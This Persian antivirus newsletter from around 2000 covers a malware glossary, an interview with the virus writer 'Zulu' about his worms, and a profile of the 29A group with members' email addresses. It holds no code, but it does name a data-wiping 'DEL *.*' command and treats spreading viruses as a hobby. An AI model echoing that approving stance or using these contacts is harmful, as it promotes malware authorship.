- همیشه قبل از استفاده از اینگونه نرم‌افزارها از اطلاعات خود پشتیبان تهیه کنید.
- در هر زمان بیش از یکی از این برنامه‌ها را اجرا نکنید.
- در زمانی که از نرم‌افزارهای مقیم در حافظه استفاده می‌کنید، از استفاده از نرم‌افزارهای سطح پایین اجتناب کنید.

همیشه راهنمای استفاده و همچنین فایل‌های README را که با اینگونه تولیدات عرضه می‌شوند مطالعه کنید. اگر تولید کنندهٔ نرم‌افزار هشدارهای خاصی را داده، حتماً دلیل خوبی برای این کار داشته است!

ترویاها:

ترویاها برنامه‌هایی هستند که کارهای غیرمنتظره و معمولاً مخربی را انجام می‌دهند. آنها نسبت به ویروسها کمتر شایع هستند چون ترویاها تکثیر نمی‌شوند، اما وقتی کپی شوند می‌توانند مشکلاتی را از خود بروز دهند. همچنین ویروسها گاهی اوقات دربردارندهٔ ترویاها می‌باشند.

اگر شما همیشه نرم‌افزارهایتان را از منابع قابل اطمینان بدست آورید، بعید است که با ترویاها برخورد کنید، اما بهترین دفاع در برابر اینگونه برنامه‌ها، تهیهٔ پشتیبان از اطلاعات می‌باشد.

جُکها:

بعضی از برنامه‌ها ادعا می‌کنند که در حال انجام عملیات مخربی بر روی کامپیوتر شما هستند، ولی آنها در واقع جکهایی بی‌ضرر هستند.

برای مثال ممکن است بر روی صفحهٔ نمایش پیغامی ظاهر شود که اظهار کند دیسک‌سخت شما در حال فرمت شدن است. ولی در واقع این تنها یک پیغام ساده است برای اینکه با شما شوخی شود.

متأسفانه بسادگی می‌توان تحت تأثیر جکها قرار گرفت و با تلاش برای از بین بردن چیزی که در حقیقت یک ویروس نیست، باعث ایجاد تخریبی بیشتر شد.

اشتباهات انسانی:

وقتی که اشتباهی در کامپیوترتان رخ می‌دهد یا اینکه اطلاعات خود را از دست می‌دهید بیشترین دلیل محتمل یک ویروس یا یک مشکل نرم‌افزاری نیست، بلکه اشتباهات ناشی از خود انسان است.

همهٔ مردم اشتباهاتی از قبیل فشردن اشتباهی یک کلید یا نوشتن *.* DEL در یک مسیر اشتباه، انجام می‌دهند و این اشتباهات می‌تواند اثرات شدیدی داشته باشد.

به یاد داشته باشید باارزش‌ترین قسمت کامپیوتر شما، اطلاعاتی است که در آن ذخیره کرده‌اید. سخت‌افزار و برنامه‌ها را می‌توان جانشین کرد ولی اطلاعات را در صورتی می‌توان جانشین کرد که قبلاً از آنها پشتیبان تهیه کرده باشید.

Dropperها :

یک Dropper خودش ویروس نیست بلکه برنامه‌ایست که یک ویروس را بر روی کامپیوتر نصب می‌کند.

Packagerها :

Packagerها برنامه‌هایی هستندکه به روشی چیزی را در اطراف برنامهٔ اصلی بسته‌بندی می‌کنند. این کار می‌تواند به عنوان اقدام احتیاطی ضدویروس یا برای فشرده‌سازی فایلها انجام شده باشد. ولی Packagerها می‌توانند وجود ویروسها را مخفی کنند.

ویروسهای فرضی:

بعضی از ویروس‌نویسها آنقدر که به نظر می‌رسد ماهر نیستند و چیزی را می‌نویسند که در ظاهر به عنوان یک ویروس فرض می‌شود، ولی بنا به دلایلی در آن باگ بزرگی وجود دارد که باعث می‌شود ویروس همیشه بدرستی کار نکند. به هر حال آنها اینگونه برنامه‌ها را به عنوان ویروس منتشر می‌کنند و کسی نیز آنها را تست نخواهد کرد.

بمبهای زمانی و منطقی:

این دسته، نوع خاصی از ترویاها هستند.

بمب زمانی بر اساس یک تاریخ خاص عمل می‌کند در حالی که یک بمب منطقی بر اساس برقراری یک سری شرایط خاص عمل می‌کند؛ از قبیل تعداد فایل‌های روی دیسک یا دنبالهٔ مشخصی از کاراکترهای ورودی.

هر دو نوع این بمبها معمولاً کارهای مخربی را انجام می‌دهند.

IMEN Anti-Virus

آشنایی با ویروس‌نویسان بزرگ

مصاحبه با **Zulu**

- شما چگونه با کامپیوتر آشنا شدید؟

وقتی که من ۱۴ ساله بودم، پدرم یک کامپیوتر ۳۸۶ برای خانه خرید. از آن زمان من شروع به استفاده از کامپیوترها کردم. اوائل برای بازی کردن و سپس برای چیزهای دیگر.

- چطور و چه زمانی با دنیای ویروسها آشنا شدید؟

اوائل سال ۱۹۹۹ ، هنگامی که داشتم برنامه‌ای به زبان VisualBasic می‌نوشتم، ویروسهای داخلی VBScript را دیدم. من هم تصمیم گرفتم یک ویروس بنویسم(HTML/VBS.Zulu). من قصد داشتم به عنوان آزمایش فقط همان یک ویروس را بنویسم. من در دنیای ویروسها کسی را نمی‌شناختم، اما هنگام کار کردن با اینترنت، سایتهای گروههای ویروس‌نویس بسیاری را پیدا کردم. من ویروسم را برای تعدادی از ویروس‌نویسها از جمله Nightmare Joker ، Evul و... فرستادم. سپس ویروس برای سایتهای Evul و Codebreakers پست شد. من در زمینهٔ ویروسها ایده‌های بسیاری داشتم لذا به نوشتن ویروسها ادامه دادم و همچنین شروع به جمع‌آوری آنها نمودم.

- آیا شما ویروس نوشته‌اید؟ اگر نوشته‌اید دو ست دارید در این زمینه چه اعتباری کسب کنید؟

بله ، من در حال حاضر ۷ ویروس نوشته‌ام. البته بیشتر آنها کرم هستند نه ویروس. یکی از این ویروسها را که بیشتر دوست دارم ویروس VBS.Freelinks (برنامه‌های ضدویروس آن را به این اسم می‌شناسند.) است. خیلی جالب است که در IRC باشی و ببینی افرادی که به این ویروس آلوده شده‌اند، سعی می‌کنند ویروس خودت را برای خودت بفرستند. در صورتیکه ایده‌هایی را که من در کرمهایی که بعد از این ویروس نوشته‌ام در آن بکار ببرم این ویروس می‌تواند بهتر از این باشد ولی من از توسعه دادن آن اجتناب کردم.

- شما چگونه ویروسهایتان را نامگذاری می‌نمایید؟

چیز خاصی نیست. بعضی‌ها مانند ویروس Monopoly به خاطر چیزی است که ویروس نمایش می‌دهد، در این مورد نمایش تصویر بیل گیتس (رییس شرکت ماکروسافت) در وسط بازی Monopoly . بعضی دیگر مانند ویروسهای BubbleBoy و VanHouten ، به خاطر شوهای تلویزیونی و در بعضی دیگر از ویروسها مانند ویروس Chango من هیچ ایده‌ای برای علت انتخاب اسم ویروس ندارم، شاید به خاطر اینکه من آن کلمه را زیاد بکار می‌برم در حالی که در کشورم متداول نیست.

- با کدام زبانهای برنامه‌نویسی آشنا هستید؟

ویژوال بیسیک، پاسکال، C++ ، VBScript ، JavaScript ، VBA و HTML.. البته می‌دانم که چهارتای آخر توسط خیلی‌ها به عنوان زبان برنامه‌نویسی شناخته نمی‌شوند، شاید بهتر باشد آنها را شبه‌زبان بنامیم. در مورد پاسکال و C++ ، مدت زیادی نیست که با این دو زبان برنامه‌نویسی می‌کنم. به هر صورت در نظردارم در آینده به آنها مراجعه کنم.

VirusBuster (یک ویروس‌نویس) در مورد یک کامپایلر پاسکال Win32 رایگان با من صحبت کرد که ایده‌هایی را به من داد و من همیشه دوست دارم کارهایی را در Visual C++ برای یادگیری انجام دهم.

- از کدام زبان برنامه‌نویسی دوست دارید بیشتر استفاده کنید؟

این روزها ویژوال بیسیک و VBScript .

- آیا شما عضو یکی از گروههای ویروس‌نویسی هستید؟

خیر. ولی در هر صورت متشکر می‌شوم اگر کسی مرا برای عضویت در یکی از این گروهها دعوت کند.

- شما در زمینهٔ ویروس‌نویسی چه هدفی را دنبال می‌کنید؟

من چیزی به عنوان هدف در زمینهٔ ویروس‌نویسی ندارم. من به عنوان یک سرگرمی ویروس می‌نویسم نه برای بدست آوردن اهدافی خاص. در مورد ویروسها و کرمهایم بعضی از آنها دارای اهداف کوچکی هستند. برای مثال ویروس BubbleBoy با این هدف نوشته شد که در نوع خود اولین باشد، حتی آن از یک bug استفاده می‌کند ولی آن چیز خیلی بزرگی نیست. بقیهٔ آنها نیز دارای اهداف کوچکی هستند. من آنها را به دلائلی مانند یادگیری، لذت بردن از برنامه‌نویسی و... می‌نویسم. همچنین تمامی ویروسها برای ما دارای اهدافی هستند.

- نظر شما در مورد جنگ مداوم بین دنیای ویروسها و ضدویروسها چیست؟

من در هر دو زمینه کسانی را می‌شناسم که رابطهٔ بین دنیای ویروسها و ضدویروسها را "جنگ" تلقی می‌کنند ولی در مورد من اینگونه نیست. من به ویروسها علاقمند هستم و گاهی اوقات که بررسی می‌کنم که یک ویروس چگونه کار می‌کند، کاری شبیه ضدویروس‌نویسها انجام می‌دهم ولی فقط به عنوان سرگرمی نه به عنوان یک شغل. در هر صورت من مشکلی برای نوشتن یک برنامهٔ پاکسازی کننده برای یک کرم یا چیزهایی شبیه به آن مشکلی ندارم همانطور که هر برنامهٔ دیگری را می‌نویسم.

- شما اسم مستعار خود را از کجا بدست آوردید و معنی آن چیست؟

من برای بازی با دوستانم از یک بازی کامپیوتری به نام "کرمها" (Worms) استفاده می‌کنم (کرمهای کوچکی که از نوعی اسلحه شبیه بازوکا استفاده می‌کنند). کرم من از اسمهای واحدهای نظامی استفاده می‌کرد که یکی از
آنها Zulu بود. سپس وقتی من به اینترنت متصل شدم، برای استفاده از IRC احتیاج به یک نام مستعار داشتم، لذا از اسم Zulu استفاده کردم.

- نظر شما در مورد نرم‌افزارهای تولید ویروس چیست؟

من هرگز از آنها استفاده نمی‌کنم. من در تولید ویروس با این نرم‌افزارها لذتی نمی‌بینم. لذت واقعی در برنامه‌نویسی، داشتن ایده‌های جدید و آن چیزهایی است که در صورت تولید ویروس با آن نرم‌افزارها هرگز نخواهم داشت.

همچنین آنها بیشتر توسط افرادی بکار برده می‌شود که تازه به دنیای ویروسها روی آورده‌اند و مدا م می‌پرسند "من چگونه یک ویروس بنویسم؟" یا "یک ویروس برای خراب کردن کامپیوترهای مدرسه به من بده !" . مسلماً نوشتن آن نرم‌افزارها به سختی نوشتن یک ویروس یا حتی سخت‌تر از آن است، ولی من نمی‌دانم آنها به چه کاری می‌آیند. من فکر می‌کنم نوشتن ویروس بهتر از نوشتن آن نرم‌افزارها است.

- نظر شما در مورد ویروسهای ماکرو در مقابل ویروسهایی که به زبان اسمبلی و یا زبانهای سطح بالا نوشته می‌شوند چیست؟

فقط دارای زمینه‌های متفاوتی هستند، هر کدام با یکسری مزایا و مضرات. در هر صورت ما ویروسهایی داریم که از هر دوی آنها استفاده می‌کنند. همچنین در مورد کسانی که با اسمبلی برنامه‌نویسی می‌کنند و برنامه‌نویسهای ماکرو را ناتوان می‌نامند، باید گفت از گفتن این حرفها که ناتوانی خودتان را نشان می‌دهد بپرهیزید.

- آیا تا بحال یکی از ویروسهایتان را در دنیای کامپیوتر تثبیت کرده‌اید؟

بله، در حال حاضر ویروس VBS.Freelinks در لیست ویروسهای شایع در دنیا قرار دارد.

- نظر شما در مورد اثرات مخرب ویروسها چیست؟

من آنها را دوست ندارم و همچنین آنها را نمی‌نویسم. من نمی‌خواهم کرمها و یا ویروسهایم چیزهایی را پاک کنند و اطلاعات مردم را از بین ببرند. همچنین داشتن چنین اثراتی برای یک ویروس نیز بد است چون بدین تریتب راه شیوع خود را از بین می‌برد.

- آیا به نظر شما چیزی به عنوان ویروس "خوب" وجود دارد؟

بستگی دارد که "خوب" برای چه کسی باشد.

- شما در زندگی حقیقیتان چکار می‌کنید؟

من ۲۰ سال سن دارم و در دانشگاه در رشتهٔ سیستمهای کامپیوتری درس می‌خوانم. من سرپرست web یک شرکت کوچک نیز هستم(یک کار بسیار کوچک، نه خیلی امروزی!!) و این روزها ممکن است یک پروژهٔ برای آینده با برنامه‌نویسهایی که دیده‌ام را شروع کنم. امیدوارم که پایان خوبی داشته باشد.

- آیا افرادی که خارج از دنیای ویروسها هستند(مانند والدین، دوستان و ...) می‌دانند که شما چکار می‌کنید؟

بله، والدینم و دوستانم اطلاع دارند. هیچکدام از آنها نیز با این مسئله مشکلی ندارند، حتی بعضی از آنها آن را دوست دارند.

- آیا شما در زمینهٔ کامپیوتر بجز فعالیت در مورد ویروسها کار دیگری نیز انجام می‌دهید؟

خارج از زمینهٔ ویروسها من از کامپیوتر برای کارهای عادی، انجام تکالیف دانشگاهی، نوشتن برنامه‌های غیر ویروسی،

بازی کردن، ایجاد سایتهای وب، گوش کردن به موسیقی،IRC و غیره استفاده می کنم.

- ویروس کامل را تعریف کنید.

این جواب مانند خیلی از جوابها به این سؤال خواهد بود، من اولین نفری نیستم که به این سؤال جواب می‌دهد. به نظر من ویروسی ممکن است ویروس کامل باشد که بوسیلهٔ هیچکس (حتی برنامه‌های ضدویروس) تا وقتی که اثری از خود در کاربر آلوده نشان ندهد، شناخته نشود. بنابراین اگر اثری نداشته باشد، شناخته نخواهد شد.

- نظر شما در مورد ویندوز(98/95) چیست؟

نرم‌افزار خیلی بزرگی نیست ولی خوب است. من هنوز روی کامپیوترم فضای کافی برای داشتن بیش از یک سیستم عامل ندارم. من می‌دانم که می‌توانم آن را پاک کنم و سیستم عامل دیگری نصب کنم، اما به آن احتیاج دارم، نه به خاطر اینکه خیلی بزرگ است (هرگز نرم‌افزار بزرگی نیست) بلکه فقط به خاطر اینکه بیشتر مردم آنرا دارند. در هر صورت وقتی که من یک کامپیوتر جدید بخرم، روی آن سیستم عامل لینوکس را نصب خواهم کرد. البته روی کامپیوتر دیگرم همچنان ویندوز را نگه خواهم داشت.

- شما اهل کجا هستید و آنجا در زمینهٔ ویروس چگونه است؟

من اهل آرژانتین هستم. زمینهٔ ویروس در اینجا مانند مثلاً ۵ سال پیش نیست. قبلاً در آرژانتین تعدادی ویروس‌نویس و حتی گروههای ویروس‌نویسی مانند گروه DAN وجود داشتند، اما حالا فرق کرده است. این روزها در IRC من کسانی را در اینجا پیدا کردم که به نظر می‌رسد در زمینهٔ ویروسها علاقمند هستند. شاید در آینده این وضعیت بتواند تغییر کند.

- در مورد کارهای جدیدت اطلاعاتی در اختیار ما بگذار.

من ایده‌های زیادی در ذهنم دارم، اما تا وقتی که چیزهایی را که مطمئن نیستم به پایان برسانم، ایده‌هایم در زمینه‌های دیگری تغییر می‌یابند.

- در پایان اگر صحبت دیگری دارید بفرمایید.

من وقتی که مصاحبه‌ها را می‌خوانم و می‌خواهم تاریخ آنها را بدانم، متوجه می‌شوم اغلب آنها فاقد تاریخ گفتگو هستند، لذا تاریخ این مصاحبه نوامبر سال ۱۹۹۹ می‌باشد !!

در صورت یافتن هرگونه ویروس جدید و یا وجود هرنوع فایل مشکوک
با شرکت مهران رایانه و یا با آدرس الکترونیکی زیر تماس بگیرید:
mehran@irna.net

آشنایی با گروه‌های ویروس‌نویسی

گروه‌های ویروس‌نویسی گروه‌هایی از افراد ویروس‌نویس هستند که این افراد ممکن است تا بحال یکدیگر را ندیده باشند و تنها از طریق اینترنت با هم آشنا شده باشند. ما سعی داریم در هر شماره شما را با یکی از این گروه‌های ویروس‌نویسی آشنا کنیم. در این شماره با گروه 29A آشنا می‌شوید:

نام گروه: *29A*

منبع: اسپانیا/بین‌المللی.

وضعیت: فعال.

این گروه در اواخر سال ۱۹۹۶ پدیدار شد. هرچند آنها در آن زمان نسبتاً تازه وارد بودند، ولی در حال حاضر یک گروه برجسته با استعدادی بزرگ در زمینهٔ ویروس‌نویسی می‌باشند. در این گروه اشخاص معروفی دور هم جمع شده‌اند تا ویروسهایی از هر نوع را ایجاد کنند. مجلات الکترونیکی این گروه با نام 29A شامل تعداد زیادی ویروس و مطالب آموزندهٔ بسیاری در زمینهٔ ویروسها می‌باشد. تا بحال ۴ مجلهٔ الکترونیکی از این گروه با مشخصات زیر منتشر شده است:

۱- 29A#1 در دسامبر سال ۱۹۹۶.

2- 29A#2 در فوریه سال ۱۹۹۸.

3- 29A#3 در ژانویهٔ سال ۱۹۹۹.

4- 29A#4 در مارس سال ۲۰۰۰.

اولین شمارهٔ این مجله دارای مرورگر VGA/ANSI با قابلیت استفاده از موس می‌باشد در حالیکه مرورگر دومین شماره، با یک دموی معرفی بسیار زیبا آغاز می‌گردد. تمامی فایلها در این مجلات بصورت ASCII و باینری، قابل استفاده و در دسترس می‌باشند.

اعضای شناخته شدهٔ گذشته و حال این گروه عبارتند از:

نام مستعار	ملیت	آدرس پست الکترونیکی
Anibal Lecter	اسپانیا	
AVV	اسپانیا	avv@cryogen.com
Benny	؟	
Blade Runner	؟	
Darkman	دانمارک	_darkman_@cryogen.com
Gordon Shumway	؟	

Griyo	اسپانیا	griyo@cryogen.com
Heuristic	دانمارک	
Jacky Qwerty	پرو	jqwerty@cryogen.com
Leugim San	اسپانیا	leugim_san@cryogen.com
Mister Sandman	اسپانیا	mrsandman@cryogen.com
Mr. White	اسپانیا	mrwhite@islatortuga.com
Rajaat	انگلستان	rajaat@itookmyprozac.com
Reptile	کانادا	reptile./.29A.fuck@usa.net
Sopinky	؟	
Super	اسپانیا	super_29A@cryogen.com
Tcp	اسپانیا	tcp@cryogen.com
The Mental Driller	؟	
The Slug	اسپانیا	the_slug@cryogen.com
Vecna	برزیل	vecna@antisocial.com
VirusBuster	اسپانیا	darknode@oninet.es
Wintermute	اسپانیا	wintermute@islatortuga.com
Zombie	روسیه	

DATA Recovery

بازیابی اطلاعات

بازیابی هارددیسکهای DOS ,Windows و شبکه‌های
Novell , Windows NT , UNIX

تلفن: ۶۴۲۳۵۷۷ (سه خط)

نمابر: ۶۴۲۳۴۰۸

شرکت مهندسی مهران رایانه
Mehran Rayaneh Co

تهران ، خیابان جمهوری اسلامی ، بین جمالزاده و کارگر ،
شمارهٔ ۳۷۱ ، طبقهٔ سوم

مراکز فروش نرم‌افزار ایمن در داخل کشور

شهرستان	نام نماینده	تلفن	شهرستان	نام نماینده	تلفن
آبادان	اسوه‌پردازش‌اروند	۲۶۹۲۹	رشت	شرکت ترمه	۲۲۱۳۹
اراک	آریاسیستم	۴۶۵۲۰	زنجان	زنجان پرداز	۴۴۷۳۱۶
اردبیل	افق کامپیوتر	۵۱۴۷۴	زاهدان	پردازش جنوب	۲۵۶۳۰
اردکان	نوین رایانه	۸۲۰۸۰	ساری	کامپیوتر ندا	۲۰۸۶۳
ارومیه	عصر کامپیوتر	۲۲۴۹۸۹	سمنان	سینانگار	۲۲۱۶۱
اصفهان	فاراد رایانه پرداز	۶۳۲۳۶۲	سنندج	داده‌پردازان کردستان	۶۶۱۲۹۵
اهواز	پارس رایانه‌جنوب	۲۱۸۶۶۲	سیرجان	در رایانه	۳۲۵۷۴
ایلام	آروین رایانه	۳۳۷۷۳	شوش	الکترونیک داریوش	۶۵۰۱
بابل	کامپیوتر پویا	۲۲۵۸۹	شوشتر	همایش رایانه جنوب	۲۷۶۵۳
بروجرد	خدمات‌کامپیوتررهاورد	۲۶۴۷۲	شهرکرد	کامپیوتر آرایه	۳۳۳۶۶۵
بندرعباس	پیروز کامپیوتر	۲۴۶۸۶	شیراز	صبا کامپیوتر	۶۷۷۷۴۴
بوشهر	بوشهر سیستم	۳۴۴۵۶	قائم شهر	کپی کامپیوتر	۹۳۶۶۶
تبریز	کامپیوتر گلستان	۵۵۳۸۹۹۹	قزوین	کامپیوتر پگاه	۴۸۷۲۷
تهران	پردازش انفورماتیک	۶۴۱۴۰۶۶	قم	متین پردازش قم	۷۴۱۹۹۱
تهران	تکنو ۲۰۰۰ صبا	۶۴۹۸۵۲۳	گنبد	کامپیوتر شیما	۲۲۲۶۱
تهران	تدارک نرم‌افزار	۶۴۶۰۳۰۳	کرج	صنایع رایانه کرج	۴۳۸۶۳۶
تهران	خانه نرم‌افزار سپاه	۸۸۲۵۰۹۶	کرمان	باور الکترونیک	۴۷۷۳۲
تهران	سرزمین رایانه	۲۰۰۰۱۸۷	مشهد	حساب رایانه	۵۱۰۱۰
تهران	پانیران	۸۷۳۴۴۹۹	هشتگرد	پژوهش رایانه هوشمند	۴۴۰۴
خرم‌آباد	تکنوشارپ	۴۴۳۳۰۱	همدان	نوین رایانه	۳۴۵۳۵
دامغان	کیهان کامپیوتر	۸۱۸۲	یاسوج	بهینه یاسوج	۲۷۵۸۰
دزفول	کامپیوتر خوزستان	۲۳۵۲۹	یزد	خدمات‌کامپیوتری ارس	۶۶۴۶۴۶

نمایندگیهای خارج از کشور

دبی	باشگاه ایرانیان	۰۰۹۷۱۴-۳۶۷۷۰۰
دبی	شرکت نورالمشرق	۰۰۹۷۱۴-۲۴۷۰۰۰
دبی	شرکت اکید	۰۰۹۷۱۴-۳۴۸۴۹۷
دبی	مش کامپیوتر	۰۰۹۷۱۴-۳۹۳۶۱۱۱